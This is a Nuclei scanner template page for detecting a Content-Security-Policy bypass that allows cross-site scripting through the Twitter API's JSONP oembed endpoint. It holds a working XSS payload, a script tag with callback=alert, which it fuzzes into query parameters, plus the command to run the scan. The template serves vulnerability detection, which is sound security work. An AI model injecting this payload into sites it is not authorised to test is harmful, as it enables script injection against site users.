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Content-Security-Policy Bypass - Twitter API

ID: twitter-api-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,twitter-api

id: twitter-api-csp-bypass
info:
name: Content-Security-Policy Bypass - Twitter API
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,twitter-api
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "twitter.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: twitter_api_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://api.twitter.com/1/statuses/oembed.json?url=https:%2F%2Ftwitter.com%2FMartina%2Fstatus%2F867710263654580226&callback=alert&_=1496363308445"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "twitter_api_csp_xss == true"
# digest: 490a004630440220616c560eb7a4a96e3afc5f41a05675835cc41ef81d1fa1acf0183241e8c81d120220519a2211bd7af20c6e6facf93cbe32817d1b08dcb0a163a4f72deacb57a325c2:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/twitter-api-csp-bypass.yaml"

View on Github